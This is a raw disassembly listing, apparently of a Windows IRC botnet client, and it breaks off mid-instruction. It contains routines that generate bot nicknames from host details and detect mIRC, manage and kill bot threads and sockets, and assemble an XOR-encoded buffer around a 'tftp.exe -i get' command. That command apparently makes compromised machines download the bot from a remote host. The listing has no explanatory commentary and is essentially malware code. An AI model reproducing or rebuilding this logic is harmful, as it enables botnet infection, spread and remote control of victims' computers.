======================================= sub_408EB8 proc near ; CODE XREF: .data:004089FAp ; .data:00408A4Ep push esi mov esi, ecx call sub_408EF4 and dword ptr [esi], 0 mov eax, esi pop esi retn sub_408EB8 endp ; =============== S U B R O U T I N E ======================================= sub_408EC7 proc near ; CODE XREF: .data:00408E2Ap ; .data:loc_408E53p mov eax, [ecx] retn sub_408EC7 endp ; =============== S U B R O U T I N E ======================================= sub_408ECA proc near ; CODE XREF: .data:00408A71p mov eax, ecx and dword ptr [eax], 0 retn sub_408ECA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_408ED0 proc near ; CODE XREF: .data:00408E22p ; .data:00433EDBj jmp sub_408F01 sub_408ED0 endp ; =============== S U B R O U T I N E ======================================= sub_408ED5 proc near ; CODE XREF: .data:00408A7Dp push esi mov esi, ecx call sub_408F01 and dword ptr [esi], 0 mov eax, esi pop esi retn sub_408ED5 endp ; =============== S U B R O U T I N E ======================================= sub_408EE4 proc near ; CODE XREF: .data:00408E01p mov eax, [ecx] retn sub_408EE4 endp ; =============== S U B R O U T I N E ======================================= sub_408EE7 proc near ; CODE XREF: sub_408E96j sub_408E9B+3p mov eax, [ecx] test eax, eax jz short locret_408EF3 mov ecx, [eax] push eax call dword ptr [ecx+8] locret_408EF3: ; CODE XREF: sub_408EE7+4j retn sub_408EE7 endp ; =============== S U B R O U T I N E ======================================= sub_408EF4 proc near ; CODE XREF: sub_408EB3j sub_408EB8+3p mov eax, [ecx] test eax, eax jz short locret_408F00 mov ecx, [eax] push eax call dword ptr [ecx+8] locret_408F00: ; CODE XREF: sub_408EF4+4j retn sub_408EF4 endp ; =============== S U B R O U T I N E ======================================= sub_408F01 proc near ; CODE XREF: sub_408ED0j sub_408ED5+3p mov eax, [ecx] test eax, eax jz short locret_408F0D mov ecx, [eax] push eax call dword ptr [ecx+8] locret_408F0D: ; CODE XREF: sub_408F01+4j retn sub_408F01 endp ; =============== S U B R O U T I N E ======================================= sub_408F0E proc near ; CODE XREF: .data:00408A0Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov eax, [ecx] push [esp+4+arg_4] push [esp+8+arg_0] push ecx call dword ptr [eax+38h] retn 0Ch sub_408F0E endp ; =============== S U B R O U T I N E ======================================= sub_408F23 proc near ; CODE XREF: .data:00408A64p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov eax, [ecx] push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] push ecx call dword ptr [eax+3Ch] retn 10h sub_408F23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408F3C proc near ; CODE XREF: .data:00408AE1p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push [ebp+arg_1C] mov eax, [ecx] push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push ecx call dword ptr [eax+44h] pop ebp retn 20h sub_408F3C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408F61 proc near ; CODE XREF: .data:00408A97p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push [ebp+arg_10] mov eax, [ecx] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push ecx call dword ptr [eax+54h] pop ebp retn 14h sub_408F61 endp ; =============== S U B R O U T I N E ======================================= sub_408F7D proc near ; CODE XREF: sub_409361+4Ap ; DATA XREF: .data:off_43B190o arg_0 = dword ptr 4 push esi push edi call dword_4E036C ; GetTickCount push eax call sub_417DB0 call sub_417DC0 xor edx, edx mov ecx, 48Fh div ecx mov edi, [esp+0Ch+arg_0] push off_43DC28[edx*4] push offset dword_43EE64 push 1Ch push edi call sub_417E80 xor esi, esi add esp, 14h cmp dword_43709C, esi jle short loc_408FE4 loc_408FBE: ; CODE XREF: sub_408F7D+65j call sub_417DC0 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_43EE68 push 1Ch push edi call sub_417E80 add esp, 14h inc esi cmp esi, dword_43709C jl short loc_408FBE loc_408FE4: ; CODE XREF: sub_408F7D+3Fj mov eax, edi pop edi pop esi retn sub_408F7D endp ; --------------------------------------------------------------------------- push esi push edi call dword_4E036C ; GetTickCount push eax call sub_417DB0 mov edi, [esp+10h] mov dword ptr [esp], offset aJav0_0 ; "[Jav0]" push offset dword_43EE70 push 1Ch push edi call sub_417E80 xor esi, esi add esp, 10h cmp dword_43709C, esi jle short loc_409042 loc_40901C: ; CODE XREF: .data:00409040j call sub_417DC0 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_43EE74 push 1Ch push edi call sub_417E80 add esp, 14h inc esi cmp esi, dword_43709C jl short loc_40901C loc_409042: ; CODE XREF: .data:0040901Aj mov eax, edi pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= sub_409047 proc near ; CODE XREF: sub_401C87+5237p arg_0 = dword ptr 4 push ebx push esi push edi call dword_4E036C ; GetTickCount push eax call sub_417DB0 pop ecx call sub_417DC0 push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_43709C test esi, esi jle short loc_40908A loc_409074: ; CODE XREF: sub_409047+41j call sub_417DC0 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_409074 loc_40908A: ; CODE XREF: sub_409047+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_409047 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push esi push edi mov esi, offset dword_43EE7C mov dword ptr [ebp-4], 100h xor edi, edi call dword_4E036C ; GetTickCount push eax call sub_417DB0 pop ecx lea eax, [ebp-4] push eax push esi call dword_4E0394 ; GetComputerNameA test eax, eax jnz short loc_4090C9 mov esi, offset dword_43EE80 loc_4090C9: ; CODE XREF: .data:004090C2j movsx eax, byte ptr [esi] push 41h pop ecx loc_4090CF: ; CODE XREF: .data:004090DAj cmp eax, ecx jnz short loc_4090D6 xor edi, edi inc edi loc_4090D6: ; CODE XREF: .data:004090D1j inc ecx cmp ecx, 5Bh jl short loc_4090CF push 61h pop ecx loc_4090DF: ; CODE XREF: .data:004090EAj cmp eax, ecx jnz short loc_4090E6 xor edi, edi inc edi loc_4090E6: ; CODE XREF: .data:004090E1j inc ecx cmp ecx, 7Bh jl short loc_4090DF test edi, edi jnz short loc_4090F5 mov esi, offset dword_43EE84 loc_4090F5: ; CODE XREF: .data:004090EEj mov edi, [ebp+8] push esi push 1Ch push edi call sub_417E80 xor esi, esi add esp, 0Ch cmp dword_43709C, esi jle short loc_409134 loc_40910E: ; CODE XREF: .data:00409132j call sub_417DC0 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_43EE88 push 1Ch push edi call sub_417E80 add esp, 14h inc esi cmp esi, dword_43709C jl short loc_40910E loc_409134: ; CODE XREF: .data:0040910Cj mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi call dword_4E036C ; GetTickCount push eax call sub_417DB0 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h call dword_4E0398 ; GetLocaleInfoA mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_43EE90 push 1Ch push edi call sub_417E80 xor esi, esi add esp, 10h cmp dword_43709C, esi jle short loc_4091A9 loc_409183: ; CODE XREF: .data:004091A7j call sub_417DC0 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_43EE94 push 1Ch push edi call sub_417E80 add esp, 14h inc esi cmp esi, dword_43709C jl short loc_409183 loc_4091A9: ; CODE XREF: .data:00409181j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset byte_4D67B0 mov dword ptr [ebp-94h], 94h call dword_4E039C ; GetVersionExA call dword_4E036C ; GetTickCount push eax call sub_417DB0 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_409233 cmp dword ptr [ebp-8Ch], 0 jnz short loc_409213 cmp dword ptr [ebp-84h], 1 jnz short loc_409203 mov esi, offset dword_43EE9C loc_409203: ; CODE XREF: .data:004091FCj cmp dword ptr [ebp-84h], 2 jnz short loc_40926F mov esi, offset dword_43EEA0 jmp short loc_40926F ; --------------------------------------------------------------------------- loc_409213: ; CODE XREF: .data:004091F3j cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_409223 mov esi, offset dword_43EEA4 jmp short loc_40926F ; --------------------------------------------------------------------------- loc_409223: ; CODE XREF: .data:0040921Aj cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_40926A mov esi, offset dword_43EEA8 jmp short loc_40926F ; --------------------------------------------------------------------------- loc_409233: ; CODE XREF: .data:004091EAj cmp dword ptr [ebp-90h], 5 jnz short loc_40926A cmp dword ptr [ebp-8Ch], 0 jnz short loc_40924C mov esi, offset dword_43EEAC jmp short loc_40926F ; --------------------------------------------------------------------------- loc_40924C: ; CODE XREF: .data:00409243j cmp dword ptr [ebp-8Ch], 1 jnz short loc_40925C mov esi, offset dword_43EEB0 jmp short loc_40926F ; --------------------------------------------------------------------------- loc_40925C: ; CODE XREF: .data:00409253j cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_43EEB4 jz short loc_40926F loc_40926A: ; CODE XREF: .data:0040922Aj ; .data:0040923Aj mov esi, offset dword_43EEB8 loc_40926F: ; CODE XREF: .data:0040920Aj ; .data:00409211j ... mov edi, [ebp+8] push esi push offset dword_43EEBC push 1Ch push edi call sub_417E80 xor esi, esi add esp, 10h cmp dword_43709C, esi jle short loc_4092B3 loc_40928D: ; CODE XREF: .data:004092B1j call sub_417DC0 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_43EEC4 push 1Ch push edi call sub_417E80 add esp, 14h inc esi cmp esi, dword_43709C jl short loc_40928D loc_4092B3: ; CODE XREF: .data:0040928Bj mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4092B9 proc near ; CODE XREF: sub_409361+5Dp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi call dword_4E036C ; GetTickCount xor edx, edx mov ecx, 5265C00h div ecx push 0 mov esi, eax cmp esi, 64h jbe short loc_409308 push offset aMirc_0 ; "mIRC" call dword_4D6674 ; FindWindowA test eax, eax mov eax, offset aM_0 ; "[M]" jnz short loc_4092F1 mov eax, offset byte_4D67B1 loc_4092F1: ; CODE XREF: sub_4092B9+31j push eax push esi push offset aDS ; "[%d]%s" lea eax, [ebp+var_1C] push 1Ch push eax call sub_417E80 add esp, 14h jmp short loc_40932D ; --------------------------------------------------------------------------- loc_409308: ; CODE XREF: sub_4092B9+1Dj push offset aMirc_1 ; "mIRC" call dword_4D6674 ; FindWindowA test eax, eax mov eax, offset aM_1 ; "[M]" jnz short loc_409321 mov eax, offset word_4D67B2 loc_409321: ; CODE XREF: sub_4092B9+61j push eax lea eax, [ebp+var_1C] push eax call sub_417CB0 pop ecx pop ecx loc_40932D: ; CODE XREF: sub_4092B9+4Dj lea eax, [ebp+var_1C] push eax call sub_414EC0 pop ecx cmp eax, 2 pop esi jbe short loc_40935C push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_419200 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_417760 add esp, 18h loc_40935C: ; CODE XREF: sub_4092B9+82j mov eax, [ebp+arg_0] leave retn sub_4092B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409361 proc near ; CODE XREF: sub_4019A5+7Fp ; sub_401B0B+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi xor esi, esi loc_40936A: ; CODE XREF: sub_409361+40j cmp [ebp+arg_C], 0 jz short loc_409388 lea eax, dword_43B180[esi] push eax push [ebp+arg_C] call sub_418A30 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_409396 ; --------------------------------------------------------------------------- loc_409388: ; CODE XREF: sub_409361+Dj mov ecx, dword_43B18C[esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_409396: ; CODE XREF: sub_409361+25j test eax, eax jnz short loc_4093A5 add esi, 14h inc edi cmp esi, 78h jb short loc_40936A jmp short loc_4093B3 ; --------------------------------------------------------------------------- loc_4093A5: ; CODE XREF: sub_409361+37j push [ebp+arg_0] lea eax, [edi+edi*4] call off_43B190[eax*4] pop ecx loc_4093B3: ; CODE XREF: sub_409361+42j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_4093C6 push [ebp+arg_0] call sub_4092B9 pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_4093C6: ; CODE XREF: sub_409361+58j mov eax, [ebp+arg_0] pop ebp retn sub_409361 endp ; =============== S U B R O U T I N E ======================================= sub_4093CB proc near ; CODE XREF: sub_4093EB+Ap ; sub_4094C3+8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_414EC0 push [esp+8+arg_4] mov esi, eax call sub_414EC0 pop ecx lea eax, [esi+eax*2+0C1h] pop ecx pop esi retn sub_4093CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4093EB proc near ; CODE XREF: sub_4094DA+49p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push [ebp+arg_C] push [ebp+arg_8] call sub_4093CB cmp eax, [ebp+arg_4] pop ecx pop ecx mov [ebp+var_4], eax jbe short loc_409408 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_409408: ; CODE XREF: sub_4093EB+17j push ebx push esi push edi push [ebp+arg_8] call sub_414EC0 push [ebp+arg_C] mov esi, eax call sub_414EC0 mov edi, eax mov ebx, [ebp+arg_0] push 0FFFFFFEDh lea eax, [edi+esi+12h] mov dword_43EF84, eax lea eax, [edi+1] mov dword_43EFA5, eax lea eax, [edi+17h] mov dword_43EF9D, eax pop eax push 74h sub eax, edi push offset dword_43EF20 push ebx mov dword_43EFB3, eax call sub_419330 push esi lea eax, [ebx+74h] push [ebp+arg_8] push eax call sub_419330 add esi, 74h push 5 push (offset aTftp_exeIGet+0Ch) lea eax, [esi+ebx] push eax call sub_419330 add esi, 5 push edi push [ebp+arg_C] lea eax, [esi+ebx] push eax call sub_419330 add esi, edi push 10h push (offset aTftp_exeIGet+11h) lea eax, [esi+ebx] push eax call sub_419330 add esp, 44h add esi, 10h push edi lea eax, [esi+ebx] push [ebp+arg_C] push eax call sub_419330 add esi, edi push 38h add esi, ebx push offset byte_43EFA9 push esi call sub_419330 mov eax, [ebp+var_4] add esp, 18h pop edi pop esi pop ebx leave retn sub_4093EB endp ; =============== S U B R O U T I N E ======================================= sub_4094C3 proc near ; CODE XREF: sub_4094DA+Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_4093CB push eax call sub_409547 add esp, 0Ch retn sub_4094C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4094DA proc near ; CODE XREF: sub_40C16C+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_8] push edi mov edi, [ebp+arg_C] push edi push ebx call sub_4094C3 cmp eax, [ebp+arg_4] pop ecx pop ecx ja short loc_4094FA cmp eax, 0FFFFh jbe short loc_4094FE loc_4094FA: ; CODE XREF: sub_4094DA+17j xor eax, eax jmp short loc_409543 ; --------------------------------------------------------------------------- loc_4094FE: ; CODE XREF: sub_4094DA+1Ej push esi push edi push ebx call sub_4093CB add eax, 101h push eax call sub_415090 add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_4093CB pop ecx pop ecx push eax push esi call sub_4093EB push eax push esi push [ebp+arg_4] push [ebp+arg_0] call sub_409562 push esi mov edi, eax call sub_415C20 add esp, 24h mov eax, edi pop esi loc_409543: ; CODE XREF: sub_4094DA+22j pop edi pop ebx pop ebp retn sub_4094DA endp ; =============== S U B R O U T I N E ======================================= sub_409547 proc near ; CODE XREF: sub_4094C3+Ep ; sub_409562+47p arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_409550 inc ecx loc_409550: ; CODE XREF: sub_409547+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_409547 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409562 proc near ; CODE XREF: sub_4094DA+56p ; sub_40C16C+B9p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_C] cmp dl, 0Ah jz short loc_40957C cmp dl, 0Dh jz short loc_40957C cmp dl, 5Ch jz short loc_40957C test dl, dl jnz short loc_409580 loc_40957C: ; CODE XREF: sub_409562+Aj ; sub_409562+Fj ... inc edx mov [ebp+arg_C], edx loc_409580: ; CODE XREF: sub_409562+18j push esi mov esi, 0FFh cmp edx, esi jbe short loc_4095A8 mov eax, edx shr eax, 8 cmp al, 0Ah jz short loc_40959F cmp al, 0Dh jz short loc_40959F cmp al, 5Ch jz short loc_40959F test al, al jnz short loc_4095A8 loc_40959F: ; CODE XREF: sub_409562+2Fj ; sub_409562+33j ... add edx, 100h mov [ebp+arg_C], edx loc_4095A8: ; CODE XREF: sub_409562+26j ; sub_409562+3Bj push edx call sub_409547 cmp eax, [ebp+arg_4] pop ecx mov [ebp+var_4], eax ja short loc_4095BE cmp eax, 0FFFFh jbe short loc_4095C5 loc_4095BE: ; CODE XREF: sub_409562+53j xor eax, eax jmp loc_409660 ; --------------------------------------------------------------------------- loc_4095C5: ; CODE XREF: sub_409562+5Aj push ebx mov bl, byte_4D67B4 xor ecx, ecx push edi mov edi, [ebp+arg_8] test edx, edx jbe short loc_4095F2 loc_4095D6: ; CODE XREF: sub_409562+8Ej mov al, [ecx+edi] xor al, bl jz short loc_4095E9 cmp al, 0Ah jz short loc_4095E9 cmp al, 0Dh jz short loc_4095E9 cmp al, 5Ch jnz short loc_4095ED loc_4095E9: ; CODE XREF: sub_409562+79j ; sub_409562+7Dj ... inc bl xor ecx, ecx loc_4095ED: ; CODE XREF: sub_409562+85j inc ecx cmp ecx, edx jb short loc_4095D6 loc_4095F2: ; CODE XREF: sub_409562+72j cmp edx, esi mov byte_4D67B4, bl ja short loc_40961E push 15h push offset loc_43EF08 push [ebp+arg_0] mov byte_43EF15, dl mov byte_43EF19, bl call sub_419330 add esp, 0Ch push 15h jmp short loc_40963F ; --------------------------------------------------------------------------- loc_40961E: ; CODE XREF: sub_409562+98j push 17h push offset loc_43EEF0 push [ebp+arg_0] mov word_43EEFE, dx mov byte_43EF03, bl call sub_419330 add esp, 0Ch push 17h loc_40963F: ; CODE XREF: sub_409562+BAj xor eax, eax pop ecx cmp [ebp+arg_C], eax jbe short loc_40965B mov edx, [ebp+arg_0] lea esi, [ecx+edx] loc_40964D: ; CODE XREF: sub_409562+F7j mov cl, [eax+edi] xor cl, bl mov [esi+eax], cl inc eax cmp eax, [ebp+arg_C] jb short loc_40964D loc_40965B: ; CODE XREF: sub_409562+E3j mov eax, [ebp+var_4] pop edi pop ebx loc_409660: ; CODE XREF: sub_409562+5Ej pop esi leave retn sub_409562 endp ; =============== S U B R O U T I N E ======================================= sub_409663 proc near ; CODE XREF: sub_401404+366p ; sub_401404+3A2p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_4493A0 loc_40966B: ; CODE XREF: sub_409663+18j cmp byte ptr [eax], 0 jz short loc_40967F add eax, 234h inc edi cmp eax, offset dword_4D63A0 jl short loc_40966B jmp short loc_4096CA ; --------------------------------------------------------------------------- loc_40967F: ; CODE XREF: sub_409663+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_4493A0[esi] push eax call sub_417760 mov eax, [esp+14h+arg_4] and dword_4495A4[esi], 0 and dword_4495A8[esi], 0 mov dword_4495A0[esi], eax mov eax, [esp+14h+arg_8] add esp, 0Ch and byte_4495B8[esi], 0 mov dword_4495AC[esi], eax pop esi loc_4096CA: ; CODE XREF: sub_409663+1Aj mov eax, edi pop edi retn sub_409663 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4096CE proc near ; DATA XREF: sub_401C87+2452o var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd push [ebp+var_10] mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] call sub_409720 push [ebp+var_14] call sub_409979 add esp, 14h push 0 call dword_4E03A0 ; ExitThread pop edi pop esi sub_4096CE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409720 proc near ; CODE XREF: sub_4096CE+38p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_43EFE4 push [ebp+arg_4] push [ebp+arg_0] call sub_40764A add esp, 14h xor edi, edi mov esi, offset dword_4493A0 loc_40974A: ; CODE XREF: sub_409720+78j cmp byte ptr [esi], 0 jz short loc_40978B cmp [ebp+arg_C], 0 jnz short loc_40975E cmp dword ptr [esi+204h], 0 jnz short loc_40978B loc_40975E: ; CODE XREF: sub_409720+33j push esi push edi lea eax, [ebp+var_200] push offset dword_43EFF8 push eax call sub_417CB0 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40764A add esp, 24h loc_40978B: ; CODE XREF: sub_409720+2Dj ; sub_409720+3Cj add esi, 234h inc edi cmp esi, offset dword_4D63A0 jl short loc_40974A pop edi pop esi leave retn sub_409720 endp ; =============== S U B R O U T I N E ======================================= sub_40979E proc near ; CODE XREF: sub_401C87+3A86p ; sub_409826+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_409820 cmp esi, 400h jge short loc_409820 imul esi, 234h push edi push ebx lea edi, dword_4495B4[esi] push dword ptr [edi] call dword_4E0378 ; TerminateThread cmp [edi], ebx jz short loc_4097D0 inc ebp loc_4097D0: ; CODE XREF: sub_40979E+2Fj mov [edi], ebx lea edi, dword_4495A8[esi] mov dword_4495A0[esi], ebx mov dword_4495A4[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_4097F1 push eax call sub_413B11 pop ecx loc_4097F1: ; CODE XREF: sub_40979E+4Aj mov [edi], ebx lea edi, dword_4495AC[esi] mov byte ptr dword_4493A0[esi], bl mov byte_4495B8[esi], bl push dword ptr [edi] call dword_4D6700 ; closesocket lea esi, dword_4495B0[esi] mov [edi], ebx push dword ptr [esi] call dword_4D6700 ; closesocket mov [esi], ebx pop edi loc_409820: ; CODE XREF: sub_40979E+Dj ; sub_40979E+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_40979E endp ; =============== S U B R O U T I N E ======================================= sub_409826 proc near ; CODE XREF: sub_401300+18p ; sub_401404:loc_401991p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_4493A0 loc_409832: ; CODE XREF: sub_409826+2Aj cmp byte ptr [esi], 0 jz short loc_409843 push edi call sub_40979E test eax, eax pop ecx jz short loc_409843 inc ebx loc_409843: ; CODE XREF: sub_409826+Fj ; sub_409826+1Aj add esi, 234h inc edi cmp esi, offset dword_4D63A0 jl short loc_409832 pop edi mov eax, ebx pop esi pop ebx retn sub_409826 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409858 proc near ; CODE XREF: sub_401C87+2D9Cp ; sub_4098EB+1Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_4495A4 loc_40986C: ; CODE XREF: sub_409858+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_40988E test edi, edi jle short loc_409880 cmp [esi], edi jz short loc_409880 cmp ebx, edi jnz short loc_40988E loc_409880: ; CODE XREF: sub_409858+1Ej ; sub_409858+22j push ebx call sub_40979E test eax, eax pop ecx jz short loc_40988E inc [ebp+var_4] loc_40988E: ; CODE XREF: sub_409858+1Aj ; sub_409858+26j ... add esi, 234h inc ebx cmp esi, offset dword_4D65A4 jl short loc_40986C mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_409858 endp ; =============== S U B R O U T I N E ======================================= sub_4098A5 proc near ; CODE XREF: sub_401404+3FAp ; sub_401C87+949p ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_4495A0 loc_4098AC: ; CODE XREF: sub_4098A5+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_4098B5 inc eax loc_4098B5: ; CODE XREF: sub_4098A5+Dj add ecx, 234h cmp ecx, offset dword_4D65A0 jl short loc_4098AC retn sub_4098A5 endp ; =============== S U B R O U T I N E ======================================= sub_4098C4 proc near ; CODE XREF: sub_401C87+1EEAp arg_0 = dword ptr 4 xor eax, eax xor edx, edx mov ecx, offset dword_4495A0 push esi loc_4098CE: ; CODE XREF: sub_4098C4+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_4098E7 add ecx, 234h inc edx cmp ecx, offset dword_4D65A0 jl short loc_4098CE pop esi retn ; --------------------------------------------------------------------------- loc_4098E7: ; CODE XREF: sub_4098C4+10j mov eax, edx pop esi retn sub_4098C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4098EB proc near ; CODE XREF: sub_401C87+FE6p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_409904 push [ebp+arg_1C] call sub_417960 pop ecx loc_409904: ; CODE XREF: sub_4098EB+Ej push eax push [ebp+arg_18] call sub_409858 pop ecx test eax, eax pop ecx jle short loc_409930 push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)" push eax call sub_417CB0 add esp, 14h jmp short loc_40994A ; --------------------------------------------------------------------------- loc_409930: ; CODE XREF: sub_4098EB+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s No %s thread found." push eax call sub_417CB0 add esp, 10h loc_40994A: ; CODE XREF: sub_4098EB+43j cmp [ebp+arg_C], 0 jnz short loc_40996A push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40764A add esp, 14h loc_40996A: ; CODE XREF: sub_4098EB+63j lea eax, [ebp+var_200] push eax call sub_40F927 pop ecx leave retn sub_4098EB endp ; =============== S U B R O U T I N E ======================================= sub_409979 proc near ; CODE XREF: sub_4019A5+154p ; sub_4096CE+40p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_4495B4[eax], ecx mov dword_4495A0[eax], ecx mov dword_4495A4[eax], ecx mov dword_4495A8[eax], ecx mov dword_4495AC[eax], ecx mov dword_4495B0[eax], ecx mov byte ptr dword_4493A0[eax], cl mov byte_4495B8[eax], cl retn sub_409979 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4099B6 proc near ; CODE XREF: sub_401C87+5872p ; sub_409ADE+61p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor eax, eax push esi mov esi, [ebp+arg_0] inc eax jmp short loc_409A18 ; --------------------------------------------------------------------------- loc_4099C2: ; CODE XREF: sub_4099B6+66j cmp eax, 1 jnz short loc_409A29 mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_409A29 cmp cl, 2Ah jz short loc_409A01 cmp cl, 3Fh jz short loc_4099E6 cmp cl, 5Bh jz short loc_4099EB xor eax, eax cmp cl, dl setz al loc_4099E6: ; CODE XREF: sub_4099B6+22j inc [ebp+arg_4] jmp short loc_409A14 ; --------------------------------------------------------------------------- loc_4099EB: ; CODE XREF: sub_4099B6+27j lea eax, 